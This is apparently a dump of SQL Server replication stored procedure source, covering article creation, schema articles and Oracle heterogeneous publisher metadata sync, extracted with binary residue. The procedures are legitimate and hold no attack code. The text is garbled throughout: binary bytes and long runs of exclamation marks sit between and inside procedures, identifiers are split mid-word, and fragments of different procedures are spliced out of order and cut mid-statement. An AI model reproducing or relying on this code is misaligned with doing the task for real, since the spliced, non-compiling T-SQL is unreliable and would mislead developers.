            ON UPPER(sp.publisher) = UPPER(rs.publisher)
           AND sp.publisher_db = rs.publisher_db
           AND rs.subscription_type = @subscription_type
           AND rs.independent_agent = 0
         WHERE UPPER(sp.publisher) = UPPER(@publisher)
           AND sp.publisher_db = @publisher_db
           AND sp.publication <> @publication
        IF @@ROWCOUNT > 0           
        BEGIN
           -- Inherit the values from other shared subscriptions
           UPDATE MSsubscription_properties SET 
            working_directory = @local_working_directory
            WHERE UPPER(publisher) = UPPER(@publisher)
              AND publisher_db = @publisher_db
              AND publication = @publication
        END  
    END
    ELSE
    BEGIN
        EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
           @publisher = @publisher,
           @publisher_db = @publisher_db,
           @publication = @publication,
           @property = N'working_directory',
           @strvalue = @working_directory,
           @subscription_type = @subscription_type
        
        IF @retcode <> 0 OR @@ERROR <> 0
            GOTO FixupFailure                                    
    END

    RETURN 0

FixupFailure:
    RETURN 1
 
0 \8X[h>8^cu0 8
CREATE PROCEDURE sys.sp_MSrepl_setOraclepackageversion
(
    @publisher          sysname
)
AS
BEGIN
    set nocount on
    DECLARE @retcode            int
    DECLARE @version            nvarchar(256)

    -- Security check.  'sysadmin' or db_owner of distribution db required. 
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN (1)

    -- Set version string from SERVERPROPERTY
    SET @version = N'Microsoft SQL Server ' +  convert(nvarchar(100),SERVERPROPERTY('ProductLevel')) +
		+ N' Version:' + convert(nvarchar(100),SERVERPROPERTY('ProductVersion')) 

    -- Define sp_ORAremotequery support table
    create table #hquery
    (
        seq	int identity(2,1),
        cmd	nvarchar(4000)
    )

    -- Set the package version
    INSERT INTO #hquery(cmd) VALUES (N'UPDATE HREPL_VERSION SET SQLSERVERVERSION = ' + sys.fn_replquotename(@version, ''''))

    EXEC @retcode = sys.sp_IHquery @publisher
	
    IF  (@@error <> 0 OR @retcode <> 0 )
    BEGIN
        DROP TABLE #hquery
        RETURN (1)
    END
	
    DROP TABLE #hquery

    RETURN (0)
END
0- D8'h90eU@ 8
create procedure sys.sp_MShelpmergeschemaarticles
    @publication sysname
as
begin
    set nocount on

    declare @pubid         uniqueidentifier
    declare @retcode int

    if (@publication is null)
    begin
        raiserror(14003, 16, -1)
        return (1)
    end

    if object_id('MSmerge_contents') is NULL
    begin
        raiserror(20054, 16, -1)
        return (1)
    end
    
    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, NULL, NULL, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

    select a.name, o.name, SCHEMA_NAME(o.schema_id), a.destination_object, a.destination_owner, a.artid, @pubid, a.pre_creation_command, a.status, a.type
      from dbo.sysmergeschemaarticles a
    inner join sys.objects o
        on a.objid = o.object_id 
        where pubid = @pubid 

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;`<(B{vj)create procedure sys.sp_MSaddschemaarticle
    @publication        sysname,        /* Name of the publciation */
    @article            sysname,        /* Name of the article */
    @source_object      nvarchar(517),  /* Qualified name of object to be replicated */
    @destination_object sysname,        /* Name of the object created on the subscriber */
    @type               tinyint,        /* Must be one of 0x20, 0x40, 060 or 0x80 */
    @creation_script    nvarchar(255),  /* custom creation script for the article */
    @description        nvarchar(255),  /* article description */
    @pre_creation_cmd   nvarchar(10),   /* must be 'none' or 'drop' */
    @schema_option      binary(8),
    @destination_owner  sysname,        /* owner of the article object on the subscriber */
    @status             tinyint, 
    @artid              int OUTPUT
AS
    SET NOCOUNT ON
    DECLARE @retcode int
        
    DECLARE @source_owner           sysname
    DECLARE @object                 sysname
    DECLARE @pubid                  int
    DECLARE @source_objid           int
    DECLARE @pre_creation_cmdid     tinyint
    
    /* Variables for setting up RPC call to the Distributor */
    DECLARE @distproc               nvarchar(2000)
    DECLARE @distributor            sysname
    DECLARE @distributiondb         sysname
    DECLARE @dbname                 sysname
    DECLARE @valid_schema_options   int
    DECLARE @qualname               nvarchar(517)
    DECLARE @allow_initialize_from_backup bit
   
    SELECT @source_owner = PARSENAME(@source_object, 2)
    SELECT @object = PARSENAME(@source_object, 1)
    SELECT @allow_initialize_from_backup = 0

    /* Note that @article & @publication has been validated by sp_addarticle 
       as non-null */
        
    /*
    ** Get the pubid of the publication
    */
    SELECT @pubid = pubid,
           @allow_initialize_from_backup = allow_initialize_from_backup
      FROM syspublications
     WHERE name = @publication

    IF @pubid IS NULL
    BEGIN
        RAISERROR (14027, 11, -1, @publication)
        RETURN (1)
    END

    /*
    **  Destination object name
    */
    IF @destination_object IS NULL
        SELECT @destination_object = @source_object

    /*
    ** Parameter check: @schema_option
    */
    -- Since only the lower 32 bits of @schema_option are
    -- currently used, the following check is sufficient.
    -- Note that @schema_option should have been padded out by now
    DECLARE @schema_option_lodword int
    SELECT @schema_option_lodword = fn_replgetbinary8lodword(@schema_option)
    IF @type = 0x40
    BEGIN

        SELECT @valid_schema_options = 0xC9F43171
        IF (@schema_option_lodword & ~@valid_schema_options) <> 0
        BEGIN
            RAISERROR (21229, 16, -1)
            RETURN (1)
        END
    END
    ELSE 
    BEGIN
        SELECT @valid_schema_options = 0xFAC03021
        IF (@schema_option_lodword & ~@valid_schema_options) <> 0
        BEGIN
            RAISERROR (21222, 16, -1)
            RETURN (1)
        END
    END 
    
    /*
    ** Parameter check: @pre_creation_command must be
    ** 'drop' (id = 1) or 'none' (id = 0)
    */
    SELECT @pre_creation_cmd = LOWER(@pre_creation_cmd collate SQL_Latin1_General_CP1_CS_AS)
    IF @pre_creation_cmd NOT IN (N'none', N'drop')
    BEGIN
        RAISERROR(21223, 16, -1)
        RETURN (1)
    END
    
    IF @pre_creation_cmd = N'none'
        SELECT @pre_creation_cmdid = 0
    ELSE IF @pre_creation_cmd = N'drop'
        SELECT @pre_creation_cmdid = 1

    
    /*
    ** Parameter Check:  @article, @publication.
    ** Check if the article already exists in this publication.
    */

    IF EXISTS (SELECT *
                 FROM sysextendedarticlesview
                WHERE pubid = @pubid
                  AND name = @article)
        BEGIN
            RAISERROR (14030, 16, -1, @article, @publication)
            RETURN (1)
        END

    SELECT @source_objid = OBJECT_ID(@source_object)    
    /*
    ** If the publication allows is enabled for autonosync, we need to impose
    ** a number of additional restrictions.
    */
    IF @allow_initialize_from_backup = 1
    BEGIN
        -- If destination owner is null or empty, explicitly set it to be the 
        -- same as the source owner.
        IF @destination_owner IS NULL or RTRIM(@destination_owner) = N''
        BEGIN
            SELECT @destination_owner = schema_name(OBJECTPROPERTY(@source_objid, 'SchemaId'))
        END

        -- If destination object name is null or empty, explicitly set it to be the
        -- same as the source object name
        IF @destination_object IS NULL or RTRIM(@destination_object) = N''
        BEGIN
            SELECT @destination_object = OBJECT_NAME(@source_objid)
        END

        -- Destination owner/object name cannot differ from source object/owner
        -- name (Restriction temporarily lifted)
--        IF @destination_object <> OBJECT_NAME(@source_objid) or 
--           @destination_owner <> schema_name(OBJECTPROPERTY(@source_objid, 'SchemaId'))
--        BEGIN
--            RAISERROR (18791, 16, -1)
--            RETURN (1)
--        END
    END  

    BEGIN TRANSACTION
    SAVE TRANSACTION sp_MSaddschemaarticle

    /*
    ** Get the source object id
    */
    IF NOT (@source_objid IS NULL)
    BEGIN
        EXEC %%Object(MultiName = @source_object).LockMatchID(ID = @source_objid, Exclusive = 1, BindInternal = 0)
        IF @@ERROR <> 0
            SELECT @source_objid = NULL
    END

    IF @source_objid IS NULL
    BEGIN
        RAISERROR(15052, -1, -1, @source_object)
        GOTO Failure
    END

    /*
    ** Parameter check: @type
    ** @type must correspond to the object type of the source object
    **
    ** @type = 0x20 => source object type = 'P', 'PC'
    ** @type = 0x40 => source object type = 'V'
    ** @type = 0x60 => source object type = 'AF'
    ** @type = 0xA0 => source object type = 'SN'
    ** @type = 0x80 => source object type = 'FN' OR 'TF' OR 'IF' OR 'FC' OR 'FT'
    */
    IF @type = 0x20
    BEGIN
        IF NOT EXISTS (SELECT *
                         FROM sys.objects
                        WHERE object_id = @source_objid
                          AND type in ('P ', 'PC'))
        BEGIN
            RAISERROR(21219, 16, -1)
            GOTO Failure
        END
    END
    ELSE IF @type = 0x40
    BEGIN
        IF NOT EXISTS (SELECT *
                         FROM sys.objects 
                        WHERE object_id = @source_objid
                          AND type = 'V ')
        BEGIN
            RAISERROR(21221, 16, -1)
            GOTO Failure
        END
    END
    ELSE IF @type = 0x60
    BEGIN
        IF NOT EXISTS (SELECT * 
                         FROM sys.objects
                        WHERE object_id = @source_objid
                          AND type = 'AF')
        BEGIN
            RAISERROR(20810, 16, -1)
            GOTO Failure 
        END
    END   
    ELSE IF @type = 0xA0
    BEGIN
        IF NOT EXISTS (SELECT *
                         FROM sys.objects
                        WHERE object_id = @source_objid
                          AND type = 'SN')
        BEGIN
            RAISERROR(20812, 16, -1)
            GOTO Failure  
        END
    END
    ELSE IF @type = 0x80
    BEGIN
        IF NOT EXISTS (SELECT *
                         FROM sys.objects 
                        WHERE object_id = @source_objid
                          AND (type in ('FN','TF','IF', 'FS', 'FT')))
        BEGIN
            RAISERROR(21228, 16, -1)            
            GOTO Failure
        END
    END


    -- Add a dummy record to sysarticles to reserve an artid
    INSERT sysarticles (dest_table, filter, name, objid, pubid, 
                        pre_creation_cmd, status, sync_o!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<%Lhj)bjid, type)  
        VALUES (@destination_object, N'', @article, @source_objid, @pubid,
                @pre_creation_cmdid, @status, @source_objid, @type)

    IF @@ERROR <> 0
        GOTO Failure

    SELECT @artid = @@IDENTITY   

    -- Now that we have reserved an artid in sysarticles,
    -- we can remove the dummy record
    
    DELETE sysarticles WHERE artid = @artid AND pubid = @pubid

    IF @@ERROR <> 0
        GOTO Failure

    -- Insert a record into sysschemaarticles to represent this
    -- schema only article
    INSERT sysschemaarticles 
        VALUES (@artid, @creation_script, @description, @destination_object,
                @article, @source_objid, @pubid, @pre_creation_cmdid, @status,
                @type, @schema_option, @destination_owner)

    IF @@ERROR <> 0
        GOTO Failure

    EXEC sys.sp_MSget_qualified_name @source_objid, @qualname OUTPUT
    IF @qualname IS NULL
        GOTO Failure

    EXEC %%Object(MultiName = @qualname).LockMatchID(ID = @source_objid, Exclusive = 1, BindInternal = 0)
    IF @@ERROR <> 0
        GOTO Failure

    -- Make a bit in replinfo to prevent the source object from
    -- being dropped
    EXEC %%Object(ID = @source_objid).SetSchemaPublished(Value = 1)
    IF @@ERROR <> 0
        GOTO Failure

    -- Increment publication's min. autonosync lsn
    IF @allow_initialize_from_backup = 1 
    BEGIN
        EXEC @retcode = sys.sp_MSincrementpublicationminautonosynclsn
                @publication = @publication 
        IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO Failure END
    END

    COMMIT TRANSACTION  

    RETURN (0)

Failure:
    ROLLBACK TRANSACTION sp_MSaddschemaarticle
    COMMIT TRANSACTION
    RETURN (1)
&
&rigger = 1
                set @RecreateTriggers = 1
                
                IF (upper(@upd_cmd) like N'XCALL%') OR
                   (upper(@del_cmd) like N'XCALL%') OR
                   (DATALENGTH(@filter_clause) > 0)	
                BEGIN
                    set @XCALL = 1
                END
            END	 
        END

        -- Create the publisher objects for the article
        EXEC @retcode = sys.sp_ORAaddarticle @owner                = @source_owner,
                                             @tablename            = @source_table,
                                             @publisher            = @publisher,
                                             @table_id             = @table_id,
                                             @OptimizeTrigger      = @OptimizeTrigger,
                                             @RecreateTriggers     = @RecreateTriggers,
                                             @XCALL                = @XCALL,
                                             @article_view         = @article_view,
                                             @columns              = @columns,
                                             @publishedcolumns     = @publishedcolumns,
                                             @repl_freq            = @repl_freq,
                                             @filter_clause        = @filter_clause,
                                             @distributortimestamp = @distributortimestamp,
                                             @instance_id	       = @instance_id	

        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            RAISERROR (21783, 16, -1, @article)

            -- DROP article, ignoring errors.  Note that this can only
            -- be done if the highest level transaction has been committed
            IF @@trancount = 0
            BEGIN
                EXEC @retcode = dbo.sp_droparticle @publication = @publication,
                                                    @article    = @article,
                                                    @publisher  = @publisher
            END
            RETURN(1)
        END
    END -- IF (@publisher_type LIKE N'ORACLE%') ...

    --
    -- All processing completed
    --
    RETURN 0

UNDO:
    IF @@trancount > 0
    BEGIN
        ROLLBACK TRANSACTION sp_addarticle
        COMMIT TRANSACTION
    END

    IF @issqlpublisher = 0
    BEGIN
        -- Cleanup any cached metadata gathered
        EXEC @retcode = sp_IHflushmetadata @publisher    = @publisher,
                                                    @source_owner = @source_owner,
                                                    @source_table = @source_table
    END
    
    RETURN (1)
END
hen @c' + cast(@this_col as nvarchar(4)) + 
    				N' else @c' + cast(@this_col as nvarchar(4)) + N'_old end '

    			if (@num_col = 1)
    			begin
    				select @cmd = N'
    			' + @cmd
    			end
    			else
    			begin
    				select @cmd = N'
    			, ' + @cmd
    			end
    			insert into #proctext(procedure_text) values(@cmd)	
    		end
    		--
    		-- fetch next row
    		--
    		FETCH hCColid INTO @this_col
    	end
    	CLOSE hCColid
    	DEALLOCATE hCColid
    	--
    	-- continue with scripting
    	--
    	select @cmd = N'
    end' 	
    	insert into #proctext(procedure_text) values(@cmd)	
    end
    --
    -- all done
    --
    return 0
END
cNcNup by logreader so no need for this
    if(@mode = @regularmode)
    begin
        insert into #proctext(procedure_text) values (N'go')
        select @cmd = N'if columnproperty(object_id(N''dbo.MSreplication_objects''), N''article'', ''AllowsNull'') is not null '
        insert into #proctext(procedure_text) values( @cmd )
        select @cmd = N'insert dbo.MSreplication_objects (object_name, publisher, publisher_db, publication, article, object_type) values (
                                + N''' + sys.fn_replreplacesinglequote(@unquoted_proc_name) collate database_default + N''' '
                                + N', N''' + sys.fn_replreplacesinglequote(@publisher) collate database_default + N''' ' 
                                + N', N''' + sys.fn_replreplacesinglequote(db_name()) collate database_default + N''' ' 
                                + N', N''' + sys.fn_replreplacesinglequote(@publication) collate database_default + N''' ' 
                                + N', N''' + sys.fn_replreplacesinglequote(@article) collate database_default + N''' ' 
                                + N',''P'')'
        select @cmd = 'exec (''' + sys.fn_replreplacesinglequote(@cmd) + ''')'   
        insert into #proctext(procedure_text) values( @cmd )
    end

DROPONLY:
    --
    -- send fragments to client
    --
    select procedure_text from #proctext order by c1 asc
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(CZv&SELECT @colname = name
          FROM sys.columns 
         WHERE object_id = @tabid 
           AND is_identity = 1
           AND ColumnProperty(object_id, name, N'IsIdNotForRepl') = 0
        
        IF @colname is NOT NULL
        BEGIN
            EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetIdentityNotForRepl(Value = 1)
            IF @@ERROR <> 0
                GOTO UNDO
        END

        EXEC @retcode = sys.sp_MSincrementpublicationminautonosynclsn
            @publication = @publication
        IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END               
    END

    IF @issqlpublisher = 0
    BEGIN
        -- If vertical partitioning is not allowed, generate the views and
        -- synchronization objects for the heterogeneous publisher now
        IF (LOWER(@vertical_partition) = N'false')
        BEGIN 
            DECLARE @article_view_owner nvarchar(255)

            -- Get the article view owner
            SELECT	@article_view_owner = login
            FROM	msdb.dbo.MSdistpublishers
            WHERE	UPPER(name collate database_default) = UPPER(@publisher)

            -- Generate bitmap of ordinal columns
            EXECUTE @columns = sys.fn_IHarticle_columns @artid,
                                                        @table_id,
                                                        @publisher_id

            IF @@error <> 0
            BEGIN
                RAISERROR (21775, 11, -1, @article)
                GOTO UNDO
            END

            IF (@publisher_type = N'ORACLE') AND (@repl_freq = 0)
            BEGIN
                -- If this is an ORACLE publisher and the article belongs to a transactional publication,
                -- Generate the bitmap of published columns to be used to generate the trigger and article
                -- log table
                EXECUTE @publishedcolumns = sys.fn_IHpublished_columns @table_id, @publisher_id
                IF @@error <> 0
                BEGIN
                    RAISERROR (21776, 11, -1, @article)
                    GOTO UNDO
                END
            END
            ELSE
            BEGIN
                -- If this is an ORACLE GATEWAY publisher or the article belongs to a snapshot publication,
                -- set the publish column bitmask to the article columns bitmask.
                SELECT @publishedcolumns = @columns
            END

            -- Generate article view name
            EXECUTE @article_view = sys.fn_IHview_name @artid, @table_id

            IF @@error <> 0
            BEGIN
                RAISERROR (21777, 11, -1, @article)
                GOTO UNDO
            END

            -- Update article definition 
            -- Set filter clause and view name and owner
            SET @instance_id = @instance_id + 1;
            IF DATALENGTH(@filter_clause) > 0
            BEGIN
                UPDATE	dbo.IHarticles 
                SET	filter_clause = @filter_clause,
                        article_view = @article_view,
                        article_view_owner = @article_view_owner,
                        instance_id = @instance_id,
                        publisher_status = 1
                WHERE	publication_id	= @pubid
                    AND		article_id		= @artid
                    AND		publisher_id	= @publisher_id	

                IF @@error <> 0
                    GOTO UNDO
            END
            ELSE
            BEGIN
                UPDATE	dbo.IHarticles 
                SET	filter_clause = NULL,
                    article_view = @article_view,
                    article_view_owner = @article_view_owner,
                    instance_id = @instance_id,
                    publisher_status = 1
                WHERE	publication_id	= @pubid
                    AND		article_id		= @artid
                    AND		publisher_id	= @publisher_id	

                IF @@error <> 0
                    GOTO UNDO
            END
        END -- end LOWER(@vertical_partition) = 'true')
        ELSE IF @repl_freq = 0
        BEGIN
            --  If vertical filtering has been enabled, automatically include the primary key column
            --  in the article 
            DECLARE @this_col int
            DECLARE @isset int
            DECLARE @col_name nvarchar(128)

            DECLARE #hCColid CURSOR LOCAL FAST_FORWARD FOR 
                select ihpc.publishercolumn_id, ihpc.name
                from IHpublishercolumns ihpc,
                    IHpublishercolumnconstraints ihpcc,
                    IHpublisherconstraints ihpcn
                where ihpc.table_id = @table_id
                    and ihpcn.publisher_id = @publisher_id
                    and	ihpc.publishercolumn_id = ihpcc.publishercolumn_id
                    and	ihpcn.publisherconstraint_id = ihpcc.publisherconstraint_id
                    and	ihpc.table_id = @table_id
                    and	ihpcn.type = 'PRIMARYKEY'
                order by column_ordinal asc

            OPEN #hCColid
            FETCH #hCColid INTO @this_col, @col_name

            WHILE (@@fetch_status <> -1)
            BEGIN
                EXECUTE @retcode  = sys.sp_articlecolumn @publication
                                        , @article
                                        , @col_name
                                        , N'add'
                                        , @refresh_synctran_procs = 0
                                        , @force_invalidate_snapshot = @force_invalidate_snapshot
                                        , @publisher = @publisher
                                        , @internal = 1
                IF @@ERROR <> 0 OR @retcode <> 0
                BEGIN
                    RAISERROR (21782, 16, -1, @col_name, @article)
                    goto UNDO
                END
                FETCH #hCColid INTO @this_col, @col_name
            END
            CLOSE #hCColid
            DEALLOCATE #hCColid

        END -- end LOWER(@vertical_partition) = 'true')

        -- Update distributor timestamp to reflect meta data change
        SET @distributortimestamp = GETDATE()
        UPDATE	dbo.IHpublishers
        SET	flush_request_time = @distributortimestamp
        WHERE	publisher_id = @publisher_id

        IF @@error <> 0
            GOTO UNDO
    END  -- end heterogeneous publisher

    COMMIT TRANSACTION

    -- If this is a heterogeneous publisher, add article specific objects to the publisher.
    -- This is done outside the context of the transaction since the call to the publisher
    -- side cannot currently be part of a distributed transaction.  If this call fails, we
    -- need to back out the article explicitly.
    -- NOTE: The objects are only created here if there is no vertical filtering and default
    -- datatype mappings are going to be used.  If sp_articlecolumn or sp_changearticlecolumndatatype
    -- is to be called explicitly to determine column filtering, the call to sp_ORAaddarticle
    -- must be done at the time that sp_articleview is called, which signals that all of
    -- the article columns have been identified.

    IF (@publisher_type LIKE N'ORACLE%') AND (@vertical_partition = N'false') AND (@use_default_datatypes = 1)
    BEGIN
        DECLARE @OptimizeTrigger bit
        DECLARE @RecreateTriggers bit
        DECLARE @XCALL bit

        set @OptimizeTrigger = 0
        set @RecreateTriggers = 0
        set @XCALL = 0
        
        -- Don't set trigger bits for snapshot publications
        IF @repl_freq = 0
        BEGIN
            -- If publisher type is ORACLE GATEWAY, for transactional publications,
            -- always generate triggers, even if they already exist and generate
            -- with optimal performance
            IF @publisher_type = N'ORACLE GATEWAY'
            BEGIN
                set @OptimizeT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(D?Xvlf
CREATE PROCEDURE sys.sp_IHsyncmetadata
(
    @publisher          sysname,
    @source_owner       sysname,
    @source_table       sysname,
    @refresh            bit = 0
)
AS
BEGIN
    DECLARE @retcode            int
    DECLARE @publisher_type     sysname
    DECLARE @publisher_id       int
    DECLARE @name               nvarchar(255)
    DECLARE @owner              nvarchar(255)
    DECLARE @uniqueness         nvarchar(255)
    DECLARE @column_name        sysname
    DECLARE @table_name         sysname
    DECLARE @table_id           int
    DECLARE @column_pos         int
    DECLARE @column_id          int
    DECLARE @constraint_id      int
    DECLARE @index_id           int
    DECLARE @publisher_dbms		sysname
    DECLARE @publisher_version	sysname

    SET NOCOUNT ON

    -- Get publisher info
    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher      = @publisher,
                                                    @publisher_type = @publisher_type OUTPUT,
                                                    @publisher_id   = @publisher_id   OUTPUT

    -- Reject unsupported publisher types
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END
    ELSE
    BEGIN
		-- Set publisher DBMS and version
		SELECT	@publisher_dbms		= 'ORACLE'

		EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
											@version	= @publisher_version OUTPUT
		
		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			RETURN (1)
		END
	END

    -- If refresh requested, drop existing metadata so it will be repopulated
    /*
    IF @refresh = 1
    BEGIN
    
    END
    */
    
    -- Check metadata cache to see if already cached
    -- Metadata will not be found if cleared by refresh
    -- or if it has not previously been published
    SELECT  @table_id = table_id
    FROM    dbo.IHpublishertables
    WHERE   publisher_id = @publisher_id
      AND   name  = @source_table
      AND   owner = @source_owner

    IF @table_id IS NOT NULL
    BEGIN
        -- Metadata is already available
        RETURN (0)
    END

    -- Create temp tables for publisher metadata
    CREATE TABLE #publishercolumns
    (
        name            sysname collate database_default,
        column_ordinal  int,
        type            sysname collate database_default,
        length          int,
        prec            int,
        scale           int,
        isnullable      bit,
        iscaptured      bit
    )

    CREATE TABLE #indexes
    (
        index_name      nvarchar(30),
        index_owner     nvarchar(30),
        uniqueness      nvarchar(11),
        column_name     nvarchar(30),
        column_position int,
        index_status    nvarchar(8)
    )

    CREATE TABLE #constraints
    (
        constraint_name nvarchar(30),
        constraint_type nchar(1),
        table_owner     nvarchar(30),
        table_name      nvarchar(30),
        index_owner     nvarchar(30),
        index_name      nvarchar(30),
        column_name     nvarchar(30),
        column_position int,
        validated       nvarchar(13),
        cons_status     nvarchar(8),
        idx_status      nvarchar(8)     
    )

    if (@publisher_type LIKE N'ORACLE%')
    BEGIN
        -- Populate the metadata tables
        EXEC @retcode = sys.sp_ORAgetcolumndata @owner      = @source_owner,
                                                @tablename  = @source_table,
                                                @publisher  = @publisher

        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            RAISERROR (21781, 16, -1)
            RETURN (1)
        END
    END

    -----------------------------------------------------------------
    -- Populate IHpublishertables
    -----------------------------------------------------------------
    INSERT INTO IHpublishertables
    (
        publisher_id,
        name,
        owner
    )
    SELECT  @publisher_id,
            @source_table,
            @source_owner

    IF @@ERROR <> 0 
        return (1)

    SELECT @table_id = @@IDENTITY   

    -----------------------------------------------------------------
    -- Populate IHpublishercolumns
    -----------------------------------------------------------------                           
    INSERT INTO IHpublishercolumns 
    (
        table_id,
        publisher_id,
        name,
        column_ordinal,
        type,
        length,
        prec,
        scale,
        isnullable,
        iscaptured
    )
    SELECT  @table_id,
            @publisher_id,
            name,
            column_ordinal,
            type,
            length,
            prec,
            scale,
            isnullable,
            iscaptured
    FROM    #publishercolumns
    WHERE	sys.fn_MSrepl_checktype(type, @publisher_dbms, @publisher_version) = 1
    ORDER BY column_ordinal

    IF @@ERROR <> 0 
        RETURN (1)

    DROP TABLE #publishercolumns

    -----------------------------------------------------------------
    --  Populate IHpublisherConstraints 
    --  Currently only getting the Primary Key constraint
    -----------------------------------------------------------------
    DECLARE constraint_cur CURSOR FAST_FORWARD FOR
    SELECT  constraint_name,
            table_owner,
            table_name,
            column_name,
            column_position
    FROM    #constraints

    OPEN constraint_cur

    FETCH NEXT FROM constraint_cur
    INTO @name, @owner, @table_name, @column_name, @column_pos

    WHILE (@@FETCH_STATUS = 0)
    BEGIN
        -- Clear column_id and constraint_id
        SET @column_id     = NULL
        SET @constraint_id = NULL

        --  Get Column ID
